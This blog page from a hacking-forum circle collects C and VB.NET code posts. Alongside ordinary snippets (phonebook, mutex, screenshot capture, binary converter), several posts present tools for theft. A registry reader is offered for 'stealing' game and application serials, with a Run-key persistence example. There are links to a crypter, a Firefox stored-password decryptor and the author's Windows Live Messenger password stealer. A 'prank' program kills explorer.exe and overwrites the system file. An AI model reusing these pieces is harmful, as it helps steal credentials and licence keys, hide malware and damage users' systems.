Latest News
Showing posts with label Source Codes. Show all posts
Showing posts with label Source Codes. Show all posts

R

Posted by genesisdatabase on Monday, 7 March 2011 , under , | comments (0)



For those that are interested in contacting the windows registry via C, here's a list of WinAPI functions that you need to know.

RegOpenKeyEx
RegCreateKeyEx
RegSetValueEx
RegQueryValueEx
RegCloseKey

Complete list of registry functions - MSDN

If you need a tutorial on step by step for each functions, read LeetCoders - Registry Operations using Win32

Now here's a shortcut function which is usually developed for retrieving (stealing) serials for games and applications.  It is called GetKeyData(HKEY, char *, char *, LPBYTE, DWORD).  To use it simply place the code below.  storeHere would be a variable to store the retrieved value of the key.

GetKeyData(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "ApplicationName", storeHere, strlen(storeHere));

[code]
int GetKeyData(HKEY hRootKey, char *subKey, char *value, LPBYTE data, DWORD cbData)
{
HKEY hKey;
if(RegOpenKeyEx(hRootKey, subKey, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return 0;

if(RegQueryValueEx(hKey, value, NULL, NULL, data, &cbData) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return 0;
}

RegCloseKey(hKey);
return 1;
}
[/code]



Since there is the GetKeyData, there should also be the SetKeyData(HKEY, char *, DWORD, char *, LPBYTE, DWORD). An example to use would be

SetKeyData(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", REG_SZ, "ApplicationName", "C:\ApplicationPath\ApplicationName.exe", strlen("C:\ApplicationPath\ApplicationName.exe"));

[code]

int SetKeyData(HKEY hRootKey, char *subKey, DWORD dwType, char *value, LPBYTE data, DWORD cbData)
{
HKEY hKey;
if(RegCreateKey(hRootKey, subKey, &hKey) != ERROR_SUCCESS)
return 0;

if(RegSetValueEx(hKey, value, 0, dwType, data, cbData) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return 0;
}

RegCloseKey(hKey);
return 1;
}
[/code]

Recursive File Search in C | Source Code

Posted by genesisdatabase on Saturday, 5 March 2011 , under , , , , , , , , , , , , , , | comments (2)



This source code below is written by se7en from LeetCoders.  It is capable of running through the enter C drive in 8 seconds on my computer finding more than 230,000 files.  Although the downside of it is that it costs quite an amount of CPU usage during its process.  You might try to optimize it by placing Sleep function or something that is possible in reducing the CPU usage.

HTTP File Downloader for Linux and Windows in C | Source Code

Posted by genesisdatabase on Friday, 4 March 2011 , under , , , , , , , , , , , , , , , | comments (1)



A member in HackForums by the handle Jakash3 has posted a source code on how to download files from the Internet that can be compiled in both Linux and Windows.  Another great feature is that it supports IPv6.

The official way of writing a crypter in C | Source Code

Posted by genesisdatabase on Tuesday, 22 February 2011 , under , , , , , , , , , , , , , , , , , , , | comments (1)



mindlessdeath, a member from HackForums have posted a thread regarding how to write a crypter in C!  I find this source code a very good example for people that are trying to learn to write their own crypter.  Compared to any other source codes that are posted on the internet, the author of this source code gave a very detailed information on each line on what the statements does.  In order to use this source code without much trouble, there are some prerequisites that was mentioned by the author himself. 

Decrypt Firefox 3.5 and 3.6 stored passwords in C | Source Code | Application

Posted by genesisdatabase on Thursday, 17 February 2011 , under , , , , , , , , , , , , , , , , , , | comments (0)



If you have already decrypted passwords for Firefox 1, 2 and 3 (if you need them, it's here), here is the source code in C that helps you decrypt Firefox passwords for version 3.5 and 3.6!  This source code is written by ZeR0 from HackHound.org.  This source code is generally open source by the author but the terms of use is to give credits if you use it.

Download source code here.
Download binary / application here.

Listing processes for all users in C

Posted by genesisdatabase on Saturday, 29 January 2011 , under , , , , , , , , , | comments (0)



While i was searching online for a way to display processes for all users, i came across this source code which was coded profesionally.  The source code can be found here.  Be sure to check their homepage here too for more source codes.

Win32 samples

Posted by genesisdatabase on , under , , , , , , , | comments (0)



Today i came across a very interesting website while searching for a method to display processes for all users!   This website, http://win32.mvps.org/ provides alot of useful information coded in C!  As a C/C++ programmer, it is highly suggested to give this website a visit!  As for the source code i was looking for (displaying processes for all users), it is here!

Visit it for a better you here.

Placing an image file in an executable in C




If you ever wanted to place an image file into the executable or store any resources in it, this post will be able to help you.  If you have previously read Builder & Stub | How to create your own builder and stub in C (using Resource), you will be able to understand this post easily.  We are using the similar method by placing the image in the resource data.  In this post, i am creating an application that extracts the image that has been placed in the resource data and place it in a file and execute the file. 

Array of pointers in C

Posted by genesisdatabase on Saturday, 15 January 2011 , under , , , , , , , , , , , , , | comments (0)



Did you ever have a need to store strings in a string arrays and not waste spaces?  In this post i will be explaining some of the ways that you can save yourself from destroying the RAM!

Binary to Hex Converter

Posted by genesisdatabase on Friday, 24 December 2010 , under , , , , , , , , , , , , , , | comments (0)



This source code below converts a text file with binaries into a text file with hexadecimals. Imagine we have a file of binaries called "hello.bin", we are going to convert it into hexadecimals and write it into a file called "hello.com".

hello.bin

[code]
10110100 00001001
10111010 00001001 00000001
11001101 00100001
11001101 00100000
01101000 01100101 01101100 01101100 01101111 00100100
[/code]

Concept (in terms of ASM)

[code]
mov ah,09
mov dx,0109
int 21
int 20
db "hello$"
[/code]

hello.com

[code]
B4 09 BA 09 01 CD 21 CD 20 68 65 6C 6C 6F 24
[/code]

where you can see how the binaries, hexadecimals and ASM are linked.

[code]
10110100 = B4 = mov ah
00001001 = 09 = 09
[/code]

What "hello.com" does when ran is it prints the word "hello" and exits. Generally this code is a converter but it has given me a further insight of what assembly would look like and how the machine language works now. The source code is as below and it is done in C language (but you would need to write the filename as .cpp instead of .c since the program was not programmed according the C proper structure whereby it should be defining variables before statements).

Source code

[code]
#include <stdio.h>
#include <stdlib.h>

void help(char* fname) {
printf(
"Code programs in binary - by Jakash3\n"
"Usage: %s outfile infile"
"Notes:\n"
" infile = Text file containing ascii 1's and 0's.\n"
" 8 bits per byte, all other characters\n"
" and whitespace ignored.\n"
" outfile = Name of program to create and write to.\n",
fname
);
exit(1);
}

int main(int argc, char** argv) {
if (argc!=3) help(argv[0]);
FILE *dst, *src;
dst = fopen(argv[1],"wb");
if (!dst) { printf("Could not create or truncate %s\nQuitting...",argv[1]); return 1;}
src = fopen(argv[2],"r");
if (!src) { printf("Could not open %s\nQuitting...",argv[2]); return 1;}
char c, byte=0;
int i=0, count=0;
while (!feof(src)) {
if (i==8) { fwrite(&byte,1,1,dst); byte=0; i=0; count++; }
fread(&c,1,1,src);
switch (c) {
case '1':
byte |= ((c=='1') << (7-i));
case '0':
i++;
}
}
fclose(src);
if (!fclose(dst))
printf("Wrote %d bytes to %s\n",count,argv[1]);
return 0;
}
[/code]

Download binary (.exe).

This code was written by jakash3 from Leetcoders.org
* Original link here.

Simple phonebook application in C

Posted by genesisdatabase on Monday, 11 October 2010 , under , | comments (0)



There was a small phonebook code challenge to build the shortest at LeetCoders. Here's a little of what i did for fun. Functions include add contact, remove contact, search contact and display contacts.

[code]
#include <stdio.h>

#define PHONEBOOK_SIZE 512
#define FLUSH fflush(stdin); // fpurge(stdin) for linux

typedef struct
{
char name[32 + 1];
char mobile[32 + 1];
}PHONEBOOK, *PPHONEBOOK;

void AddContact(PHONEBOOK *);
void RemoveContact(PHONEBOOK *);
void SearchContact(PHONEBOOK *);
void DisplayContact(PHONEBOOK *);

short selection;
short size;

int main(int argc, char **argv)
{
PHONEBOOK pb[PHONEBOOK_SIZE];

selection = 0;
size = 0;

for( ; ; )
{
printf("1 - Add contact\n"
"2 - Remove contact\n"
"3 - Search contact\n"
"4 - Display all contacts\n"
"0 - Exit\n\n"
"Select an option: ");

FLUSH;
scanf("%d", &selection);

switch(selection)
{
case 1:
AddContact(&pb);
break;
case 2:
RemoveContact(&pb);
break;
case 3:
SearchContact(&pb);
break;
case 4:
DisplayContact(&pb);
break;
case 0:
printf("Thanks for using...\n");
return 0;
default:
printf("Invalid option selected...\n");
break;
}

printf("\n");
}
return 0;
}

void AddContact(PHONEBOOK *pb)
{
for( ; ; )
{
printf("Enter name: ");
FLUSH;
scanf("%32[^\n]", pb[size].name);

printf("Enter mobile number: ");
FLUSH;
scanf("%32[^\n]", pb[size].mobile);

printf("Confirm (Y - yes | N - no | B - back): ");
FLUSH;
scanf("%c", &selection);

switch(selection)
{
case 'y':
case 'Y':
size++;
printf("Added contact...\n");
return;
case 'n':
case 'N':
memset(pb[size].name, 0, 32 + 1);
memset(pb[size].mobile, 0, 32 + 1);
break;
case 'b':
case 'B':
memset(pb[size].name, 0, 32 + 1);
memset(pb[size].mobile, 0, 32 + 1);
printf("No contact added...\n");
return;
default:
printf("Invalid option selected... default to N\n");
break;
}

printf("\n");
}
}

void RemoveContact(PHONEBOOK *pb)
{
char name[32 + 1];
int i, j;

for( ; ; )
{
printf("Enter name (BK - back): ");
FLUSH;
scanf("%32[^\n]", name);

if((name[0] == 'b' || name[0] == 'B') && (name[1] == 'k' || name[1] == 'K') && name[2] == '\0')
return;

for(i = 0 ; i < size ; i++)
{
if(strstr(strlwr(pb[i].name), strlwr(name)) != 0)
{
printf("ID : %d\n", i+1);
printf("Name : %s\n", pb[i].name);
printf("Mobile: %s\n", pb[i].mobile);
printf("\n");

printf("Remove contact (Y - yes | N - no | B - back):");
FLUSH;
scanf("%c", &selection);

switch(selection)
{
case 'y':
case 'Y':
printf("Removing contact: %s\n", pb[i].name);
for(j = i ; j < size ; j++)
{
strcpy(pb[j].name, pb[j+1].name);
strcpy(pb[j].mobile, pb[j+1].mobile);
}
memset(pb[size].name, 0, 32 + 1);
memset(pb[size].mobile, 0, 32 + 1);
size--;
i--;
printf("Contact removed...\n");
break;
case 'n':
case 'N':
break;
case 'b':
case 'B':
return;
default:
printf("Invalid option selected... default to N\n");
break;
}
}
}
printf("\n");
}
printf("\n");
}

void SearchContact(PHONEBOOK *pb)
{
char name[32 + 1];
int i;

for( ; ; )
{
printf("Enter name (BK - back): ");
FLUSH;
scanf("%32[^\n]", name);

if((name[0] == 'b' || name[0] == 'B') && (name[1] == 'k' || name[1] == 'K') && name[2] == '\0')
return;

for(i = 0 ; i < size ; i++)
{
if(strstr(strlwr(pb[i].name), strlwr(name)) != 0)
{
printf("ID : %d\n", i+1);
printf("Name : %s\n", pb[i].name);
printf("Mobile: %s\n", pb[i].mobile);
printf("\n");
}
}

printf("\n");
}
}

void DisplayContact(PHONEBOOK *pb)
{
int i;

for(i = 0 ; i < size ; i++)
{
printf("ID : %d\n", i+1);
printf("Name : %s\n", pb[i].name);
printf("Mobile: %s\n", pb[i].mobile);
printf("\n");
}
}
[/code]

MuteX | How to create a single instance application in C

Posted by genesisdatabase on Sunday, 10 October 2010 , under , , , , , , , , , , , | comments (0)



[code]
#include <windows.h>
#include <stdio.h>

#define MUTEX_NAME "mutex name here, anyname"
int main()
{
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, MUTEX_NAME);
if(hMutex == NULL)
{
// no duplicate instances found
hMutex = CreateMutex(NULL, FALSE, MUTEX_NAME);
}
else
{
// a duplicate was found
return 0;
}

printf("Created console\n");
getchar();
return 1;
}
[/code]

As you can see, there's OpenMuteX and CreateMuteX function that has been used.  To briefly explain this, OpenMuteX opens a handle to check whether a mutex has been created.  If it returns the value NULL, it means that no mutex of the current string has been created.  So when it is NULL, CreateMuteX is called to create the mutex with the string MUTEX_NAME that has been defined.  Leave a feedback if you feel that there's lack of information.

Black Hole | Create pixel on the desktop and expand




[code]
#include <windows.h>

int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HDC hDC = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
POINT pCurPos;
RECT rRect;
HBRUSH hBrush = (HBRUSH)(CreateSolidBrush(RGB(0, 0, 0)));
int iConst = 1;

for( ; ; Sleep(1000))
{
if (GetAsyncKeyState(VK_ESCAPE) != 0)
break;

iConst += 3;
GetCursorPos(&pCurPos);
rRect.left = pCurPos.x - iConst;
rRect.top = pCurPos.y - iConst;
rRect.right = pCurPos.x + iConst;
rRect.bottom = pCurPos.y + iConst;
FillRect(hDC, &rRect, hBrush);
}

DeleteDC(hDC);
return EXIT_SUCCESS;
}
[/code]

I'm not sure where i got this a year ago but generally this code create a black pixel on your desktop. It will terminate only if you press ESCAPE which is detected by GetAsyncKeyState.

GDWS | GenesisDatabase WLM Stealer

Posted by genesisdatabase on Wednesday, 11 August 2010 , under , , , , , , , , , , , , , , , , , | comments (3)




GDWS is an application that i have created using C without relying on resources for its GUI. It's simple to use and requires no driver reliability however it only works on Windows only.

Functions


- GUI in C
- retrieve stored WLM passwords
- run website in a hidden window via IE or FF (using socket)
- intermediate socket usage
- socket to load website

Download


Download Binary
Download Source Code

Note: If anyone requests for the source code, it would be generous of you to direct them here.  I know it will consume your time but i'm sure a good deed is always worth it - what comes around goes around.

Creating application with a single instance in C and VB .NET

Posted by genesisdatabase on Tuesday, 3 August 2010 , under , , , , , , , , , | comments (0)



Most of us prefer to have single instances application to make it look professional or probably some other personal reason especially making malicious applications too.  Here is the source code for the 2 languages that has been mentioned.

C


[code]
#include <windows.h>

int main()
{
char *mutex = "some name here";

HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, mutex);
if(hMutex == NULL)
{
hMutex = CreateMutex(NULL, FALSE, mutex);
}
else
{
MessageBox(0, "Instance Exists!", 0, 0);
return 0;
}

return 0;
}
[/code]

VB .NET


[code]
Function PrevInstance() As Boolean
If UBound(Diagnostics.Process.GetProcessesByName(Diagnostics.Process.GetCurrentProcess.ProcessName)) > 0 Then
Return True
Else
Return False
End If
End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If PrevInstance() = True Then
MsgBox("Instance Exists!")
End
End If
End Sub
[/code]

Capturing Desktop Screenshot to File in C

Posted by genesisdatabase on Thursday, 29 July 2010 , under , , , , , , , , | comments (0)



Here's a simple function that helps you dump screenshots into files. By calling CaptureDesktopScreenshotToFile you can simply get the screenshot without dealing with any GDI yourself.

[code]
#include <windows.h>

int main()
{
CaptureDesktopScreenshotToFile("screenshot.bmp");

return 0;
}
[/code]

And here's the code for you.

[code]
#include <windows.h>

PBITMAPINFO CreateBitmapInfoStruct(HBITMAP hBmp);
int CreateBMPFile(LPTSTR pszFile, PBITMAPINFO pbi, HBITMAP hBMP, HDC hDC);
int CaptureDesktopScreenshotToFile(char *FILENAME)
{
HDC hdcScreen,hdcCompatible;
HBITMAP hbmScreen;
hdcScreen = CreateDC("DISPLAY", NULL, NULL, NULL);
hdcCompatible = CreateCompatibleDC(hdcScreen);

// Create a compatible bitmap for hdcScreen.
int ScreenWidth = GetDeviceCaps(hdcScreen, HORZRES);
int ScreenHeight = GetDeviceCaps(hdcScreen, VERTRES);
hbmScreen = ::CreateCompatibleBitmap(hdcScreen,ScreenWidth,ScreenHeight);

if(hbmScreen == 0)
return 0;

// Select the bitmaps into the compatible DC
if(!::SelectObject(hdcCompatible, hbmScreen))
return 0;

if(!::BitBlt(hdcCompatible,0,0,ScreenWidth,ScreenHeight,hdcScreen,0,0,SRCCOPY))
return 0;

// Clean Tmp
DeleteFile(FILENAME);

// Take shot
if(CreateBMPFile(FILENAME,CreateBitmapInfoStruct(hbmScreen),hbmScreen,hdcScreen)​​ == 0)
return 0;

// Compression
//bmp2jpeg(DIRECTORY_TMP, DIRECTORY_TMP);

return 1;
}

int CreateBMPFile(LPTSTR pszFile, PBITMAPINFO pbi, HBITMAP hBMP, HDC hDC)
{
HANDLE hf; // file handle
BITMAPFILEHEADER hdr; // bitmap file-header
PBITMAPINFOHEADER pbih; // bitmap info-header
LPBYTE lpBits; // memory pointer
DWORD dwTotal; // total count of bytes
DWORD cb; // incremental count of bytes
BYTE *hp; // byte pointer
DWORD dwTmp;

pbih = (PBITMAPINFOHEADER) pbi;
lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);

if(!lpBits)
return 0;

// Retrieve the color table (RGBQUAD array) and the bits
// (array of palette indices) from the DIB.
if(!GetDIBits(hDC, hBMP, 0, (WORD) pbih->biHeight, lpBits, pbi, DIB_RGB_COLORS))
return 0;

// Create the .BMP file.
hf = CreateFile(pszFile, GENERIC_READ | GENERIC_WRITE, (DWORD) 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL);
if(hf == INVALID_HANDLE_VALUE)
return 0;

hdr.bfType = 0x4d42; // 0x42 = "B" 0x4d = "M"
// Compute the size of the entire file.
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof(RGBQUAD) + pbih->biSizeImage);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;

// Compute the offset to the array of color indices.
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD);

// Copy the BITMAPFILEHEADER into the .BMP file.
if(!WriteFile(hf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER),(LPDWORD) &dwTmp, NULL))
return 0;

// Copy the BITMAPINFOHEADER and RGBQUAD array into the file.
if(!WriteFile(hf, (LPVOID) pbih, sizeof(BITMAPINFOHEADER) + pbih->biClrUsed * sizeof (RGBQUAD), (LPDWORD) &dwTmp, ( NULL)))
return 0;

// Copy the array of color indices into the .BMP file.
dwTotal = cb = pbih->biSizeImage;
hp = lpBits;
if(!WriteFile(hf, (LPSTR) hp, (int) cb, (LPDWORD) &dwTmp,NULL))
return 0;

// Close the .BMP file.
if(!CloseHandle(hf))
return 0;

// Free memory.
GlobalFree((HGLOBAL)lpBits);

return 1;
}

PBITMAPINFO CreateBitmapInfoStruct(HBITMAP hBmp)
{
BITMAP bmp;
PBITMAPINFO pbmi;
WORD cClrBits;
// Retrieve the bitmap color format, width, and height.
if (!GetObject(hBmp, sizeof(BITMAP), (LPSTR)&bmp))
return NULL;

// Convert the color format to a count of bits.
cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
if (cClrBits == 1)
cClrBits = 1;
else if (cClrBits <= 4)
cClrBits = 4;
else if (cClrBits <= 8)
cClrBits = 8;
else if (cClrBits <= 16)
cClrBits = 16;
else if (cClrBits <= 24)
cClrBits = 24;
else cClrBits = 32;

// Allocate memory for the BITMAPINFO structure. (This structure
// contains a BITMAPINFOHEADER structure and an array of RGBQUAD
// data structures.)

if (cClrBits != 24)
pbmi = (PBITMAPINFO) LocalAlloc(LPTR,
sizeof(BITMAPINFOHEADER) +
sizeof(RGBQUAD) * (1<< cClrBits));

// There is no RGBQUAD array for the 24-bit-per-pixel format.

else
pbmi = (PBITMAPINFO) LocalAlloc(LPTR,
sizeof(BITMAPINFOHEADER));

// Initialize the fields in the BITMAPINFO structure.

pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
pbmi->bmiHeader.biWidth = bmp.bmWidth;
pbmi->bmiHeader.biHeight = bmp.bmHeight;
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
if (cClrBits < 24)
pbmi->bmiHeader.biClrUsed = (1<<cClrBits);

// If the bitmap is not compressed, set the BI_RGB flag.
pbmi->bmiHeader.biCompression = BI_RGB;

// Compute the number of bytes in the array of color
// indices and store the result in biSizeImage.
// For Windows NT, the width must be DWORD aligned unless
// the bitmap is RLE compressed. This example shows this.
// For Windows 95/98/Me, the width must be WORD aligned unless the
// bitmap is RLE compressed.
pbmi->bmiHeader.biSizeImage = ((pbmi->bmiHeader.biWidth * cClrBits +31) & ~31) /8
* pbmi->bmiHeader.biHeight;
// Set biClrImportant to 0, indicating that all of the
// device colors are important.
pbmi->bmiHeader.biClrImportant = 0;
return pbmi;
}
[/code]

Sorting Registries in VB .NET

Posted by genesisdatabase on Monday, 26 July 2010 , under , , , , , , , | comments (1)



So there's this guy from http://leetcoders.org that needed some help getting a function created for him to breakup a single string that contains Name, Registry Key and Registry Data and appends the strings into a richtextbox.

AutoCAD 2010|Serial=HKEY_LOCAL_MACHINE\SOFTWARE\Autodesk\AutoCAD\R18.0\ACAD-8001:409\=SerialNumber

to

RichTextBox1.AppendText("Autocad 2010" & vbNewLine)
Dim ammSteal01 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Autodesk\AutoCAD\R18.0\ACAD-8001:409", "SerialNumber", Nothing)
RichTextBox1.AppendText(ammSteal01)


So i created a simple function called
Private Sub AppendStringToRichTextBox2(ByVal str As String, ByVal txtbox As RichTextBox)

which does
[code]
Dim title As String = ""
Dim key As String = ""
Dim data As String = ""

Dim str_arr As String() = str.Split("=")

key = str_arr(1)
data = str_arr(2)

For i = 0 To str_arr(0).Length - 1
If str_arr(0)(i) = "|" Then
Exit For
End If

title += str_arr(0)(i)
Next

txtbox.AppendText(title & vbNewLine)
txtbox.AppendText(Microsoft.Win32.Registry.GetValue(key, data, Nothing))
[/code]

The function generally appends the name of the application and the value of the key that have been called via Registry.GetValue. Well it's nothing hard so port it to your own use if you need it.

Map of India in C

Posted by genesisdatabase on Thursday, 15 July 2010 , under , , , , , , , | comments (1)



[code]
#include "Stdio.h"
main()
{
int a,b,c;
int count = 1;
for (b=c=10;a="- FIGURE?, UMKC,XYZHello Folks,\
TFy!QJu ROo TNn(ROo)SLq SLq ULo+\
UHs UJq TNn*RPn/QPbEWS_JSWQAIJO^\
NBELPeHBFHT}TnALVlBLOFAkHFOuFETp\
HCStHAUFAgcEAelclcn^r^r\\tZvYxXy\
T|S~Pn SPm SOn TNn ULo0ULo#ULo-W\
Hq!WFs XDt!" [b+++21]; )
for(; a-- > 64 ; )
putchar ( ++c=='Z' ? c = c/ 9:33^b&1);
return 0;
}
[/code]

Now paste this entire code in your compiler and run it :) Don't forget to put a getchar(); before return so that you can view it! Original source from http://hackforums.net (the one i got it)

Similarity Test

Posted by genesisdatabase on Sunday, 27 June 2010 , under , | comments (0)



Ever wanted to compare and contrast 2 file to see how much difference they have in terms of each byte?  Now here's a project i called "Similarity" under my precious folder called "rubbish".  Originally i wanted to talk about my project that is called "Bejeweled Clicker" however i am lazy right now as i just got up so i'll release some simple stuffs instead =)

[code]
#include <stdio.h>
#include <stdlib.h>

typedef struct
{
char Filename[256];
int Filesize;
}File;

int MinSize = 0;
int MaxSize = 0;
int Similarity = 0;
int Dissimilarity = 0;
int GetFileSize2(char *Filename)
{
int fsize = 0;
FILE *Read = NULL;

Read = fopen(Filename, "rb");
if(!Read)
return 0;

fseek(Read, 0, SEEK_END);
fsize = ftell(Read);
rewind(Read);
fclose(Read);

return fsize;
}
int main()
{
File *f1, *f2;
f1 = (File *)malloc(sizeof(File));
f2 = (File *)malloc(sizeof(File));

// 1, get filenames
printf("Enter file 1: ");
fflush(stdin);
scanf("%[^\n]", f1->Filename);

printf("Enter file 2: ");
fflush(stdin);
scanf("%[^\n]", f2->Filename);

// 2, get filesizes
f1->Filesize = GetFileSize2(f1->Filename);
f2->Filesize = GetFileSize2(f2->Filename);
if(!f1->Filesize || !f2->Filesize)
{
printf("\n");
printf("One of the filename doesn't exist or does not contain any data\n");
fflush(stdin);
getchar();
return 0;
}

printf("\n");
printf("Begin comparison\n");
printf("File 1 - %s : %d bytes\n", f1->Filename, f1->Filesize);
printf("File 2 - %s : %d bytes\n", f2->Filename, f2->Filesize);

if(f1->Filesize > f2->Filesize)
{
printf("\n");
printf("1. Filesize difference : %d\n", f1->Filesize - f2->Filesize);
MinSize = f2->Filesize;
MaxSize = f1->Filesize;
}
else if(f1->Filesize < f2->Filesize)
{
printf("\n");
printf("1. Filesize difference : %d\n", f2->Filesize - f1->Filesize);
MinSize = f1->Filesize;
MaxSize = f2->Filesize;
}
else
{
printf("\n");
printf("1. Filesize difference : %d\n", 0);
MinSize = f1->Filesize | f2->Filesize;
MaxSize = f1->Filesize | f2->Filesize;
}

FILE *open1 = fopen(f1->Filename, "rb");
FILE *open2 = fopen(f2->Filename, "rb");
if(!open1 || !open2)
{
printf("\n");
printf("Error opening one of the files\n");
fflush(stdin);
getchar();
return 0;
}

char *buf1 = (char *)malloc(f1->Filesize);
char *buf2 = (char *)malloc(f2->Filesize);
if(!buf1 || !buf2)
{
printf("\n");
printf("Error allocating buffer\n");
fflush(stdin);
getchar();
return 0;
}

fread(buf1, sizeof(char), f1->Filesize, open1);
fread(buf2, sizeof(char), f2->Filesize, open2);

for(int i = 0 ; i < MinSize ; i++)
{
if(buf1[i] != buf2[i])
Dissimilarity++;
else
Similarity++;
}

printf("2. Similarity in percent: %0.2f\n", (float)Similarity/MinSize * 100);
printf(" Dissimilarity in percent: %0.2f", (float)Dissimilarity/MinSize * 100);

fflush(stdin);
getchar();
return 1;
}
[/code]

I'd like to point out that i am used to return 1; at the end of main function. However do realize that return 0; is infact the correct return value. I sort of use return 1; as return success of function in all cases.

What the codes do is that it first checks the filesize to see whether they are equal or otherwise.  Later it reads every byte of the both file into a char pointer.  I then used a for loop to compare each bytes of the char pointer.

This source code is more to beginners learning how to get used to the FILE structure and some memory allocation (malloc).

Prank Project #1

Posted by genesisdatabase on Wednesday, 23 June 2010 , under , | comments (0)



Here's one of my prank projects that i made during my free time prolly last year. This doesn't works what it was supposed to though haha. Anyway here's the source code if you would want to waste some time.

My intention


To make the computer lag or slow by appending gazillion bytes in the explorer.exe file

Epic fail


It doesn't matter how big the file is ya know... the process is still running. Appending the bytes at the EOF (end of file) only enlarges the file... Probably people would think "wtf!! explorer.exe is 1gb big? How do i remove it!?"

[code]
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <shellapi.h>

int CopyFile(char *OLD, char *NEW);
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// directory
char DIRECTORY_EXP[256]; GetWindowsDirectory(DIRECTORY_EXP, 256);
strcat(DIRECTORY_EXP, "\\explorer.exe");

char DIRECTORY_TMP[256]; GetTempPath(256, DIRECTORY_TMP);
strcat(DIRECTORY_TMP, "\\explorer.exe");

char DIRECTORY_CMD[256]; GetSystemDirectory(DIRECTORY_CMD, 256);
strcat(DIRECTORY_CMD, "\\cmd.exe");

// copy file to temp
if(CopyFile(DIRECTORY_EXP, DIRECTORY_TMP) == 0)
return 0;

FILE *open;
open = fopen(DIRECTORY_TMP, "ab+");
if(!open)
return 0;

int RATE = 65535;
int COUNTER_START = 0;
int COUNTER_END = 32767;

char *buffer = (char *)malloc(RATE);
memset(buffer, 0, RATE);

while(COUNTER_START <= COUNTER_END)
{
fwrite(buffer, sizeof(char), RATE, open);
COUNTER_START++;
Sleep(1);
}

fclose(open);

// kills current explorer.exe
ShellExecute(NULL, "open", DIRECTORY_CMD, "/c taskkill /im explorer.exe /f", NULL, SW_HIDE);
Sleep(1000);

DeleteFile(DIRECTORY_EXP);
CopyFile(DIRECTORY_TMP, DIRECTORY_EXP);

ShellExecute(NULL, "open", DIRECTORY_CMD, "/c explorer.exe", NULL, SW_HIDE);
Sleep(1000);

return 1;
}

int CopyFile(char *OLD, char *NEW)
{
DeleteFile(NEW); // Delete any existing file

FILE *copy, *paste;
copy = fopen(OLD, "rb");
paste = fopen(NEW, "wb");

if(!copy || !paste) // if neither is available
return 0;

// get file size
fseek(copy, 0, SEEK_END);
int fileSize = ftell(copy);
rewind(copy);

// allocate memory
char *buf = (char *)malloc(fileSize);
fread(buf, sizeof(char), fileSize, copy);
fclose(copy);

// write file from buffer
fwrite(buf, sizeof(char), fileSize, paste);
fclose(paste);

return 1;
}
[/code]